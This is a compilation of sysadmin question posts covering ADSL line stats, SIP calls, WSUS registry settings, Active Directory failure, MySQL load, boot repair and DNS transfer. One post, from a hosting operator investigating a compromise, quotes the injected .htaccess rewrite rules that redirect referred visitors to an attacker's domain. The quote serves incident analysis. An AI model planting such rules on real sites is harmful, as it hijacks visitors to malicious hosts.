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• ADSL2+ - High sync-rate, good line attenuation, but low noise margin and slow speeds

  - by Mark Pim

  I've been with my ISP (IdNet) for a few months and have been getting some good speeds, but in the last week the speed has dramatically decreased (from 15 Mbps+ to around 0.2 Mbps). This happens at all times of day, not just peak periods. Obviously I've done all I can to isolate problems my end - only one PC is connected to the router (via ethernet cable) and no other background programs are using the network etc. I've raised the issue with the ISP and they've suggested trying a new ADSL filter to see if that is casuing the problem, but I thought it would also be good to get the opinion of superuser on possible causes or other troubleshooting I can do. Here are the juicy stats :) My router (Netgear DGN1000) reports: Downstream Upstream Connection Speed 17602 kbps 1062 kbps Line Attenuation 17.9 db 8.6 db Noise Margin 6.0 db 6.1 db I used RouterStats and it seems to show those figures stay fairly consistent all the time I ran the BT speedtest and it reported: download speed of 164 kbps, out of a max achievable of 21000 kbps upload speed of 859 kbps, out of 1048 kbps DSL connection rate 17719 kbps down and 1048 kbps up IP Profile of 15000 kbps Is there any more troubleshooting I can do? Does this look like a problem with my equipment / wiring or with BT's line? Any advice would be great :)

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• Why are SIP calls via my server silent?

  - by Archcode

  I have FreeSWITCH SIP server up and running. It has public IP and sits behind 1-to-1 NAT (it's Amazon EC2 instance actually). I can connect to it, make a call to other endpoint (namely, my android device to my pc and vice versa) and signals are send with no problems (call, answer, hangup, etc). Unfortunately, and what drives me crazy, that's all: no audio gets through, no video either. Server does not throw errors, it reports many retransmission though, looks like this: switch_rtp.c:915 [ zrtp engine]: WARNING! HELLO Max retransmissions count reached (20 retries). ID=15 Codecs are set up correctly (same config worked locally on my LAN). NAT/firewall on client side may be a problem, signals do get through (perhaps due to fixed port, data streaming runs on random one, that is currently my best bet). STUN/TURN/ICE setting on client seem to have no effect. Endpoints sit behind symmetric NAT. On server there are no iptables rules, security group is set as suggested there: http://wiki.freeswitch.org/wiki/Firewall Help, please. How to make it work or at least diagnose what's wrong?

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• WSUS registry file: NoAutoRebootWithLoggedOnUsers entry being ignored

  - by the_pete

  We are using a registry entry to connect our internal workstations to our WSUS server and everything seems to be working except the NoAutoRebootWithLoggedOnUsers entry. Without fail, over the last few weeks, our lab setup as well as our users have been prompted to restart their machines with a 15 minute time out and there's nothing they can do about it. They can't postpone or cancel the restart, all options in the prompt are greyed out. Below is the registry file we are using to connect our workstations to our WSUS server: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate] "AcceptTrustedPublisherCerts"=dword:00000001 "ElevateNonAdmins"=dword:00000000 "WUServer"="http://xxx.xxx.xxx.xxx:8530" "WUStatusServer"="http://xxx.xxx.xxx.xxx:8530" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU] "AUOptions"=dword:00000004 "AutoInstallMinorUpdates"=dword:00000001 "DetectionFrequencyEnabled"=dword:00000001 "DetectionFrequency"=dword:00000002 "NoAutoUpdate"=dword:00000000 "NoAutoRebootWithLoggedOnUsers"=dword:00000001 "RebootRelaunchTimeout"=dword:00000030 "RebootRelaunchTimeoutEnabled"=dword:00000001 "RescheduleWaitTime"=dword:00000020 "RescheduleWaitTimeEnabled"=dword:00000001 "ScheduledInstallDay"=dword:00000000 "ScheduledInstallTime"=dword:00000003 "UseWUServer"=dword:00000001 There is a bit of redundancy, if you want to call it that, having both the NoAutoRebootWithLoggedOnUsers entry as well as the entries for RebootRelaunchTimeout but we wanted to see if we could either disable the restart, or give our users a larger window within which they could wrap up their work, etc. before restarting. Neither of these entries seems to work, but our priority is getting NoAutoRebootWithLoggedOnUsers working and any help with this would be greatly appreciated.

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• Active Directory server down, recovering without reinstalling

  - by whatever

  My Windows 2003 server suddenly ceased to function as a DC (this server is the only DC of the domain). All AD related services are down. The only way I can login to the AD is physically to the machine. Everytime I access an AD-related service (e.g. "AD users and computers") I get the below error: Naming information cannot be located because: The specified directory service attribute or value does not exist. Contact your system administrator to verify that your domain is properly configured and is currently online. I found the below system event which matches the time when the issue started, this re-occurs everytime I reboot the server. NTDS General | Global Catalog | Active Directory was unable to establish a connection with the global catalog. Additional Data Error value: 1355 The specified domain either does not exist or could not be contacted. Internal ID: 3200d33 I started the troubleshooting with DNS. Netdiag throws the below error although I think this is simply a consequence of not being able to access the Global Catalog. The procedure entry point DnsGetPrimaryDomainName_UTF8 could not be located in the dynamic link library DNSAPI.dll. Anyway DNS seems OK because I can ping the DC FQDN from the DC itself. I found the below solution which is supposed to help by doing some cleanup of the metadata: http://support.microsoft.com/kb/216498 If I follow procedure 1 here is what I get at step 9: no current site Domain - DC=<mydomain>,DC=<com> no current server no current naming context I can continue the procedure until step 14. I haven't tested step 15 as my understanding is that I will have to reinstall the whole AD again. Is there any way I can recover my AD from there without having to reinstall the whole thing? Update: Yes, the server was powered off/on because reboot would take forever (not because I thought power cycling the unit would fix it more than a reboot).

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• Outlook 2010 Crashing Unpredictably

  - by cbkadel

  Very often when I open up Outlook 2010 and start doing actions in it, it will hang and become non responsive. I have tried letting it finish, but it never does come back (up to 20 minutes of letting it try). I generally have to restart Outlook and try again. Usually after about an hour of doing this, Outlook somehow snaps out of it and works for the rest of the day. It's generally in the morning (though I doubt that's the key variable). Generally, the emails that cause problems are HTML/formatted, but not always. What I've done so far to troubleshoot: Install Latest Outlook Hotfix (I think Dec 14, 2010) Start Outlook in Safe Mode Neither of those steps seem to make a difference. Usually - after about 10-15 restarts of Outlook on any given day, then it starts working thereafter. My next step is to uninstall/reinstall Office 2010, but I'm hoping someone has seen this and knows what to do about it - though not sure. My configuration is like this: Microsoft Online Services (using Microsoft's Sign In App) - Connecting to Exchange I have two other Exchange accounts in this profile (new feature in 2010) connected through Outlook Anywhere. Life Meeting Conferencing Add In I've disabled the People tab/add in. I've disabled the "Send to Bluetooth" add-in. Not sure what else to do?

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• Mysql server high trafic makes websites really slow or unable to load

  - by Holapress

  Lately we have been having a lot of problems with our mysql server, from websites being really slow or even unable to load them at all. The server is a dedicated server that only runs our mysql database. i have been running some test using a profiler (JetProfiler) and tool to stress test (loadUI). If I use loadUI to connect with 50 simultaneous connections to one of our websites that runs a resently big query it will already make the website be unable to load. One of the things that makes me worried is that when I look at Jetprofile it always shows a Treads_connected of 1.00 and it seems that when it hits around 2.00 that I'm unable to connect. The 3 big peaks are when I run a test with loadUI, first one was 15 simultaneous connections wich made it still able for me to load the website but just really slow, the second one was 40 simultaneous connections which already made it impossible to load and the third one was with 100 connection which also didn't make it load anymore. Another thing that worries me is that in JetProfiler it says all the queries that get used are full table scans, could this maybe be the problem? The website I run as a test runs 3 queries, one for a menu that outputs around 1000 rows, one for the adds that has around 560 rows and a big one to get posts that has around 7000 rows (see screenshot bellow) I also have monitored the cpu of the server and there seems to be no problem there, even when I make a lot of connections with loadui the cpu stays low. I can't seem to figure out what is the main cause of the websites being unable to load when there is a high amount of traffic, if anyone has other suggestions for testing or something that might cause the problem please let me know.

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• Does a high run queue length average result in poor performance for a web server?

  - by Domino

  I'm trying to narrow down the list of suspects of web servers that perform moderately well most of the time with occasional bouts of poor performance. I'm analyzing the data collected and summarized by sar. I've noticed a few things, one of which is high number of tasks in the run queue. 10:15:01 AM runq-sz plist-sz ldavg-1 ldavg-5 ldavg-15 blocked 10:25:01 AM 2 150 0.05 0.05 0.06 0 10:35:01 AM 4 149 0.08 0.12 0.09 0 10:45:01 AM 6 150 0.13 0.19 0.15 0 10:55:01 AM 1 150 0.08 0.10 0.13 0 11:05:01 AM 4 150 0.20 0.35 0.23 0 11:15:01 AM 3 149 0.02 0.09 0.15 0 11:25:01 AM 7 149 0.04 0.05 0.11 0 11:35:01 AM 4 150 0.14 0.15 0.13 0 11:45:01 AM 6 150 0.27 0.18 0.16 0 11:55:01 AM 5 150 0.08 0.10 0.13 0 12:05:01 PM 3 149 0.35 0.40 0.26 0 12:15:01 PM 19 155 0.02 0.10 0.16 1 12:25:01 PM 2 150 0.00 0.07 0.12 0 12:35:02 PM 3 151 0.58 0.24 0.17 0 12:45:01 PM 8 150 0.02 0.13 0.15 0 12:55:01 PM 6 149 0.81 0.29 0.18 0 01:05:01 PM 3 148 0.00 0.09 0.13 0 01:15:01 PM 7 149 0.00 0.04 0.11 0 I believe these are 10 minute averages. Is this an indicator that the web server is not performing as fast as it could if the average run queue length was lower?

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• Finding Webserver Vulnerability

  - by Brent

  We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

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• OpenLDAP 2.4.23 - Debian 6.0 - Import schema - Insufficient access (50)

  - by Yosifov

  Good day to everybody. I'm trying to add a new schema inside OpenLDAP. But getting an error: ldap_add: Insufficient access (50) root@ldap:/# ldapadd -c -x -D cn=admin,dc=domain,dc=com -W -f /tmp/test.d/cn\=config/cn\=schema/cn\=\{5\}microsoft.ldif root@ldap:/# cat /tmp/test.d/cn\=config/cn\=schema/cn\=\{5\}microsoft.ldif dn: cn=microsoft,cn=schema,cn=config objectClass: olcSchemaConfig cn: microsoft olcAttributeTypes: {0}( 1.2.840.113556.1.4.302 NAME 'sAMAccountType' DESC 'Fss ssully qualified name of distinguished Java class or interface' SYNTAX 1.3.6. 1.4.1.1466.115.121.1.27 SINGLE-VALUE ) olcAttributeTypes: {1}( 1.2.840.113556.1.4.146 NAME 'objectSid' DESC 'Fssssull y qualified name of distinguished Java class or interfaced' SYNTAX 1.3.6.1.4. 1.1466.115.121.1.40 SINGLE-VALUE ) olcAttributeTypes: {2}( 1.2.840.113556.1.4.221 NAME 'sAMAccountName' DESC 'Fds sssully qualified name of distinguished Java class or interfaced' SYNTAX 1.3. 6.1.4.1.1466.115.121.1.15 SINGLE-VALUE ) olcAttributeTypes: {3}( 1.2.840.113556.1.4.1412 NAME 'primaryGroupToken' SYNTA X 1.3.6.1.4.1.1466.115.121.1.27 SINGLE-VALUE ) olcAttributeTypes: {4}( 1.2.840.113556.1.2.102 NAME 'memberOf' SYNTAX 1.3.6.1. 4.1.1466.115.121.1.12 SINGLE-VALUE ) olcAttributeTypes: {5}( 1.2.840.113556.1.4.98 NAME 'primaryGroupID' SYNTAX 1.3 .6.1.4.1.1466.115.121.1.27 SINGLE-VALUE ) olcObjectClasses: {0}( 1.2.840.113556.1.5.6 NAME 'securityPrincipal' DESC 'Cso ntainer for a Java object' SUP top AUXILIARY MUST ( objectSid $ sAMAccountNam e ) MAY ( primaryGroupToken $ memberOf $ primaryGroupID ) ) I also tried to add the schema by phpldapadmin, but gain the same error. I'm using the admin user which is specified by default from the begging of the slpad installation. How may I add permissions to this user ? Best wishes

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• Linux 2.6.24-gentoo-r3-comtrance on x86_64 high Useage for unknown reasons

  - by Dorjan

  Hello everyone, I'm a complete rookie when it comes to all things Linux related so please treat me as such and assume I know nothing. That being said my Top says this: top - 12:08:03 up 11 days, 15:36, 0 users, load average: 5.47, 5.53, 5.46 Tasks: 296 total, 2 running, 294 sleeping, 0 stopped, 0 zombie Cpu(s): 6.3%us, 1.4%sy, 0.0%ni, 71.3%id, 20.6%wa, 0.0%hi, 0.3%si, 0.0%st Mem: 8176880k total, 8118236k used, 58644k free, 89312k buffers Swap: 1004052k total, 0k used, 1004052k free, 7235652k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1229 root 15 -5 0 0 0 D 1 0.0 199:28.63 kjournald 2946 root 20 0 1716 676 552 D 1 0.0 145:02.94 syslogd 14553 root 20 0 2644 1268 876 R 1 0.0 0:00.34 top 14609 postfix 20 0 7896 1884 1460 D 1 0.0 0:00.02 bounce 14630 postfix 20 0 7896 1876 1452 R 0 0.0 0:00.00 bounce And my hard drives says: > df -k Filesystem 1K-blocks Used Available Use% Mounted on /dev/sda3 4925556 4474836 200508 96% / /dev/sda5 489992 36090 428602 8% /tmp /dev/sda6 377951852 236171160 122581816 66% /var none 4088440 0 4088440 0% /dev/shm It has been like it for a few days now... I know not what is causing the high server load (Normally around 1.3) can anyone give any tips on how to track down the culprit? Many thanks,

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• What I should know about memory management?

  - by bua

  first of all: I don't use stackadmin or similar so please don't vote for moving there, I'm reading man top and paper "what every programmer should know about memory ..." I need really simple explanation like for retard ;) Having following top dump: top - 11:21:19 up 37 days, 21:16, 4 users, load average: 0.41, 0.75, 1.09 Tasks: 313 total, 5 running, 308 sleeping, 0 stopped, 0 zombie Cpu(s): 0.4%us, 0.6%sy, 0.9%ni, 96.2%id, 0.1%wa, 0.0%hi, 1.9%si, 0.0%st Mem: 132103848k total, 131916948k used, 186900k free, 54000k buffers Swap: 73400944k total, 73070884k used, 330060k free, 13931192k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 3305 tudb 25 10 144m 52m 940 R 6.0 0.0 1306:09 app 3011 tudb 15 0 71528 19m 604 S 3.3 0.0 171:57.83 app 3373 tudb 25 10 209m 93m 940 S 3.0 0.1 1074:53 app 3338 tudb 25 10 144m 47m 940 R 2.7 0.0 780:48.48 app 4227 tudb 25 10 208m 99m 904 S 1.3 0.1 198:56.01 app 8506 tudb 25 10 80.7g 49g 932 S 2.0 39.6 458:31.22 app I'm wondering what is: RES (my expl. physical memory consumption ? see 49GB) VIRT (memory mapped disk to cache? see 80GB) SHR (shared pages?) Swap: (is this cached label - for memory mapped disk into swap cache?) Should sum of RES give MEM: X used? or maybe sum of VIRT?

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• Rails application keeps timing out when attempting to connect to Postgresql DB

  - by Corillian

  I'm hosting a postgresql database on a small windows azure Ubuntu 13.04 VM with a default postgresql.conf. I have a Rails application running on a medium windows azure Ubuntu 13.04 VM. When accessing the postgresql database the rails application is constantly timing out. In its database.yml I have the connection pool size set to 120 and the timeout set to 15 seconds. Despite this my rails logs are full of the following error message: ActiveRecord::ConnectionTimeoutError: could not obtain a database connection within 5 seconds (waited 5.0023203 seconds). The max pool size is currently 120; consider increasing it. My postgresql.conf has a max connection limit of 120, making it any larger prevents the server from being able to successfully restart. I've also made sure that ssl was off in the postgresql.conf per this article but beyond that I have no idea what's going on. My postgresql logs don't contain any info indicating something is going wrong. My website is getting ~1k hits per day so perhaps a small VM instance just isn't powerful enough? I appreciate any assistance! [Edit1] The postgresql database is in a separate cloud service within the same affinity group. For example: db small VM: mydatabase.cloudapp.net (Affinity Group US East) forums medium VM: myforums.cloudapp.net (Affinity Group US East) On the database server I have opened port 5432. The connection to the database server from the forums server is using its hostname. Is it possible that the DNS resolution is what's taking so long?

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• PHP-FPM processes holding onto MongoDB connection states

  - by Brendan

  For the relevant part of our server stack, we're running: NGINX 1.2.3 PHP-FPM 5.3.10 with PECL mongo 1.2.12 MongoDB 2.0.7 CentOS 6.2 We're getting some strange, but predictable behavior when the MongoDB server goes away (crashes, gets killed, etc). Even with a try/catch block around the connection code, i.e: try { $mdb = new Mongo('mongodb://localhost:27017'); } catch (MongoConnectionException $e) { die( $e->getMessage() ); } $db = $mdb->selectDB('collection_name'); Depending on which PHP-FPM workers have connected to mongo already, the connection state is cached, causing further exceptions to go unhandled, because the $mdb connection handler can't be used. The troubling thing is that the try does not consistently fail for a considerable amount of time, up to 15 minutes later, when -- I assume -- the php-fpm processes die/respawn. Essentially, the behavior is that when you hit a worker that hasn't connected to mongo yet, you get the die message above, and when you connect to a worker that has, you get an unhandled exception from $mdb->selectDB('collection_name'); because catch does not run. When PHP is a single process, i.e. via Apache with mod_php, this behavior does not occur. Just for posterity, going back to Apache/mod_php is not an option for us at this time. Is there a way to fix this behavior? I don't want the connection state to be inconsistent between different php-fpm processes.

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• Safe to remove Python2.6 files?

  - by darkfeline

  I'm using Linux Mint 11 (will upgrade soon), and I've noticed that, even though I don't have any python2.6 packages installed with apt, there's a bunch of residual python2.6 files scattered around my drive, including, but not limited to, dist-packages in /usr/lib/python2.6 and various /usr/share stuff. Is there any way to test if these files are still being used? I'm tempted to sudo rm -rf the lot of them, but I'm scared it'll break stuff. Also, does anyone have any idea where these files could have come from? I believe I had python2.6 installed once upon a time, but I made sure to --purge them, so there shouldn't be any trace of them left, right? EDIT: after using a quick script to check all of the files, it appears most of them belong to important packages, so I won't try weeding out the few which I know are probably useless. Although I am curious why so many packages have python2.6 files when I don't even have it installed. These files are not associated with any packages and I'm not sure if they are safe to remove: /usr/bin/ipython2.6 /usr/lib/python2.6/dist-packages/distribute-0.6.15.egg-info /usr/lib/python2.6/dist-packages/easy_install.py /usr/lib/python2.6/dist-packages/IPython /usr/lib/python2.6/dist-packages/ipython-0.10.1.egg-info /usr/lib/python2.6/dist-packages/setuptools /usr/lib/python2.6/dist-packages/setuptools.egg-info /usr/lib/python2.6/dist-packages/setuptools.pth /usr/lib/python2.6/dist-packages/site.py /usr/lib/python2.6/dist-packages/wx.pth /usr/local/lib/python2.6 /usr/local/lib/python2.6/dist-packages /usr/local/lib/python2.6/site-packages /usr/share/man/man1/ipython2.6.1.gz

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• Unix sort 10x slower with keys specified

  - by KenFar

  My data: It's a 71 MB file with 1.5 million rows. It has 6 fields, four of which are strings of avg. 15 characters, two are integers. Three of the fields are sometimes empty. All six fields combine to form a unique key - and that's what I need to sort on. Sort statement: sort -t ',' -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 -k6,6 -o a_out.csv a_in.csv The problem: If I sort without keys, it takes 30 seconds. If I sort with keys, it takes 660 seconds. I need to sort with keys to keep this generic and useful for other files that have non-key fields as well. The 30 second timing is fine, but the 660 is a killer. I could theoretically move the temp directory to SSD, and/or split the file into 4 parts, sort them separately (in parallel) then merge the results, etc. But I'm hoping for something simpler since these results are so bad as-is. Any suggestions?

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• Windows Vista freezes

  - by Kakurady

  Windows Vista (32-bit) would randomly freeze on my computer, usually 15-30 minutes after login but can happen just after login. All applications would stop responding and the hard drive will not make any sound, and after a while, the mouse cursor will also stop moving. I dual-boot Ubuntu, and that still works fine. It started with the computer freezing when loading Team Fortress 2. Alt-Tab and Ctrl-Alt-Del have no effect, and the hard drive does not make any sound. I tried to verify the game data using Steam and that freezes the computer too. So I stupidly reinstalled the game. Now the game doesn't freeze when it starts, but instead the whole computer randomly freezes. This computer is a Dell XPS M1530 with a 320GB (298GiB) drive (WDC WD3200BEVT-7) split 5-ways, with Windows and Linux a partition each, one more for Linux swap space, and another two partitions for Dell diagnostic program and factory image and drivers. There was once where the hard drive would make clicking noises all day, and only stopped when I rebooted the computer. Since then, the BIOS diagnostics would fail the drive (for "self-test log contains previous errors") whenever ran. (The on-disk diagnostics cannot be run because I overwrote the MBR with GRUB.) Naturally, I thought the hard drive could be the problem. CHKDSK found one bad sector, but this seems to have no effect. System File Checker found two protected files with wrong hashes, one is some kind of IE manifest, and the other is a tcpmon.ini. Neither of them can be restored because their back up copy also have wrong hashes. Nothing about system failures in the event viewer. What should I do next?

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• ms excel 2010 in windows xp - when open workbook the data is formatted differently than when i saved it

  - by Justin

  I haven't been able to find an answer to this. I have multiple files that I use regularly in excel that now have cell formats of "date". Every single cell in the entire workbook (all sheets) is now formatted as "date". The problem is that I lost my formatting for percents, numbers years, etc and now everything is converted to date (xx/xx/xxxx). I am able to open previously saved versions of a file (prior to me having the problem) and the cells are formatted as I intend them to be (percents, numbers, general, as well as dates). Since this has happened on a couple different files recently, I am wondering how this is happening and how do I prevent it from happening in the future. I cannot cure the problem just by highlighting the entire sheet and converting back to general because I lose all my percents and number formatting. Example (Correct formatting): Month Year Working Days MTD POS Curr Rem May 2012 22 0 1,553,549 June 2012 22 0 1,516,903 June 2011 22 0 1,555,512 June 2010 22 0 1,584,704 Example (Incorrect formatting): Month Year Working Days MTD POS Curr Rem June Tuesday, July 04, 1905 Wednesday, January 04, 1900 Wednesday, January 18, 1900 213,320 July Tuesday, July 04, 1905 Wednesday, January 04, 1900 Monday, January 16, 1900 314,261 July Monday, July 03, 1905 Wednesday, January 04, 1900 Sunday, January 15, 1900 447,759 July Sunday, July 02, 1905 Wednesday, January 04, 1900 Monday, January 16, 1900 321,952 Sorry for the mess. Any suggestions?

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• MySQL : table organisation for very large sets with high update frequency

  - by Remiz

  I'm facing a dilemma in the choice of my MySQL schema application. So before I start here is a picture extremely simplified of my database : Schema here : http://i43.tinypic.com/2wp5lxz.png In one sentence : for each customer, the application harvest text data and attached tags to each data collected. As approximation of the usage of each table, here is what I expect : customer : ~5000, shouldn't grow fast data : 5 millions per customer, could double or triple for big customers. tag : ~1000, quite fixed size data_tag : hundred of millions per customer easily. Each data can be tagged a lot. The harvesting process is permanent, that means that around every 15 minutes new data come and are tagged, that require a very constant index refreshing. A lot of my queries are a SELECT COUNT of DATA between specific DATES and tagged with a specific TAG on a specific CUSTOMER (very rarely it will involve several customers). Here is the situation, you can imagine with this kind of volume of data I'm facing a challenge in term of data organization and indexing. Again, it's a very minimalistic and simplified version of my structure. My question is, is it better: to stick with this model and to manage crazy index optimization ? (which involves potentially having billions of rows in the data_tag table) change the schema and use one data table and one data_tag table per customer ? (which involves having 5000 tables on my database) I'm running all of this on a MySQL 5.0 dedicated server (quad-core, 8Go of ram) replicated. I only use InnoDB, I also have another server that run Sphinx. So knowing all of this, I can't wait to hear your opinion about this. Thanks.

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• Reusing Raid 5 Drive?

  - by User125

  We have two servers (ML530 G2 and DL380G2) w/ identical HP 10K RPM SCSI drives w/ a raid 5. One is decommissioned and the other will be decommissioned shortly. However, one of the drives on the production server had a drive failure. My hope was to take one of the drives from the decommissioned server and pop it into the production server. Both are running RAID 5. I broke the array on the decomm. server. To my knowledge, that should have wiped out all the volume and partition information. However, I do not know if it is safe to then take a drive from the decomm'ed server and replace the failed drive. Will the existing array see it as a replacement drive, wipe it and rebuild? Or will it fail because it was used in an array before. Are there any remnant data that resides on the drives after deleting a raid 5 array? These servers are 10-15 years old, so we're just trying to keep them alive until we decommission it. I'm not looking to pay a premium to find a vendor that still sells replacement drives for this system.

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• Windows 7 not booting up and stuck at startup repair

  - by mikimr

  I've been having issues with Windows 7 Home Premium on a Lenovo laptop. At first, it would not start up normally at all. I started it in Safe Mode, where I disabled all non-MS services and tried again to no avail. It then goes into Startup repair where it failed several times. I tried copying the original registry settings, still the same. I resorted to booting with an Ubuntu DVD, where I ran the boot-repair, where it is supposed to correct the Windows boot. No luck. I used Win7 DVD to start up from there, where I had the option to install or repair. I chose the repair, got into command prompt, ran chkdsk /i /r, where it found 3 unreadable segments, went through the 2nd step without issues, and the 3rd step completed with some errors (can't recall the exact errors). When I restarted the machine, it went to straight to the Stratup Repair, indicating "Attempting repairs... Repairing dis errors. This might take over an hour to complete." It's been like this for nearly 15 hours. When I try to cancel or close the Startup Repair window, I get a message "The current repair operation cannot be cancelled." Should I let it run or force shut the machine? If force shut, how can I resolve this problem? Thanks.

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• windows 7 clock jumps back about every hour + internet disconnects

  - by IlyaD

  I have the weirdest problem, for the last few days every hour or so (not exact) the clock jumps about back in jumps of 15 to 60 minutes and after some time the internet disconnects. i can reconnect the internet by unplugging and plugging back the network cable. This is the second time this problem happens to me, the first time was when I installed VirtualBox. whaen I removed it the problem was gone. This time I have no idea what triggered it, the only thing I installed about the time the problem started was iTunes update (10.5.1) I tried removing it but the problem remained. (also tried to remove other programs i installed day or 2 before and it also didn't help) also, this is not a VM and currently I don't have any VM software. any ideas..? UPDATE since the solution is in the comments i'll write it here - apparently the windows time service got broken, this is the fix: http://technet.microsoft.com/en-us/library/cc738995(WS.10).aspx (run "fix it" from IE browser only) UPDATE 2 The fix didn't work, about 2 hours passed and first the internet disconnected and then the clock jumped back... This probably means that the problem is not only in the clock

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• Repair Windows 2008 boot

  - by aksamit

  I have been caught in a loop where I can't boot up Windows Server 2008. When the OS starts to boot I am presented two options: Launch Startup Repair (recommended) Start Windows Normally No matter what option is chosen I end up with a black screen stating "Windows is loading files..." which takes approx 15 minutes until "System Recovery" is started. I try to run the "Startup Repair" but it reports the following error: Problem Event Name: StartupRepairOffline Problem Signature 01: 0.0.0.0 Problem Signature 02: 0.0.0.0 Problem Signature 03: unknown OS Version: 6.1.7600.2.0.0.256.1 Locale ID: 1033 Actually no matter what other options I would try in the System Recovery they would also report some kind of error. Some other logging I have been able to extract: Diagnosis and repair details: Number of repair attempts: 1 Session details System Disk = Windows directory = AutoChk Run = 0 Number of root causes = 1 Test Performed: Name: System disk test Result: Completed successfully. Error code = 0x0 Root cause found: A hard disk could not be found. If a hard disk is installed, it is not responding. So it is actually stating that Harddisk could not be found... which to me seems to be a bit contradictious since the System Recovery just loaded all files from the hard disk it now states it cannot find. Any ideas on what other options I have?

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• Is domain-transfer inherently safe for downtime when the name servers remain the same?

  - by jlmt

  I've been reading around this topic towards understanding whether there's some or no chance of downtime during an upcoming domain transfer for 15 live and very critical domains. In our case there are three companies involved: CompanyA is the original registrar and DNS host, CompanyB is the new DNS host, and CompanyC is the new registrar. I've already changed the nameservers for all domains to those of CompanyB. We suffered some downtime because CompanyA deleted their hosted DNS for our domains directly after the change, but the changes propagated and we're now able to configure our DNS with CompanyB. From what I understand (please correct where wrong!): There exists an SOA record that points oneofourdomains.com to ns.companyb.com. That record is maintained and authoritatively hosted by the ccTLD registry for the domain (eg. Verisign for .com). CompanyA currently has the ability to change the SOA record because they're the registrar. There exist NS records for oneofourdomains.com, which are also related to the link from domain name to nameserver, are similarly hosted by the ccTLD, and which CompanyA are also able to change while acting as registrar. Neither CompanyB nor CompanyC currently have any control over the SOA or NS records. CompanyA are unable to cause us (DNS) problems during the transfer by dropping service early, because they are not the authoritative source for the SOA and NS records. When we transfer the domains, it's administrative control of the SOA and NS records that will be transferred to CompanyC. As long as we advise CompanyC that the SOA and NS records must not change (as regards pointing to CompanyB's nameservers), there's no need for any kind of DNS change, and therefore no possibility of downtime. Is my understanding of this correct? My fear is that CompanyA will somehow cut us off again, and their support dept hasn't given me much confidence in their understanding of the topic.

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• Strange issue in header location redirect

  - by hd01

  I have three websites hosted (example1.com, example2.com, example3.com) on a server. There is a page (test.php) on example1.com with just code below inside it: <?php header('Location:http://example2.com/a.php'); ?> When I browse test.php it goes to http://example1.com/a.php . it doesn't understand it is another domain url, it tried to find the page on itself. but when I put http://google.com instead of example2.com/a.php it works correct. I really get confused. What is the problem ? Should I set some configuration on the server? ( I am administrator of the hosting server ). Ps. The server is behind a pound server. Here's the Firebug Net output for example1.com/test.php Response Headers: HTTP/1.1 302 Found Date: Tue, 09 Oct 2012 09:03:34 GMT Server: Apache/2.2.16 (Debian) Location: http://example1.com/a.php Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 21 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Request Headers: Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding gzip, deflate Accept-Language en-us,en;q=0.5 Connection keep-alive Cookie mycookie Host example1.com User-Agent Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1

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• Unusual HEAD requests to nonsense URLs from Chrome

  - by JeremyDWill

  I have noticed unusual traffic coming from my workstation the last couple of days. I am seeing HEAD requests sent to random character URLs, usually three or four within a second, and they appear to be coming from my Chrome browser. The requests repeat only three or four times a day, but I have not identified a particular pattern. The URL characters are different for each request. Here is an example of the request as recorded by Fiddler 2: HEAD http://xqwvykjfei/ HTTP/1.1 Host: xqwvykjfei Proxy-Connection: keep-alive Content-Length: 0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 The response to this request is as follows: HTTP/1.1 502 Fiddler - DNS Lookup Failed Content-Type: text/html Connection: close Timestamp: 08:15:45.283 Fiddler: DNS Lookup for xqwvykjfei failed. No such host is known I have been unable to find any information through Google searches related to this issue. I do not remember seeing this kind of traffic before late last week, but it may be that I just missed it before. The one modification I made to my system last week that was unusual was adding the Delicious add-in/extension to both IE and Chrome. I have since removed both of these, but am still seeing the traffic. I have run virus scan (Trend Micro) and HiJackThis looking for malicious code, but I have not found any. I would appreciate any help tracking down the source of the requests, so I can determine if they are benign, or indicative of a bigger problem. Thanks.

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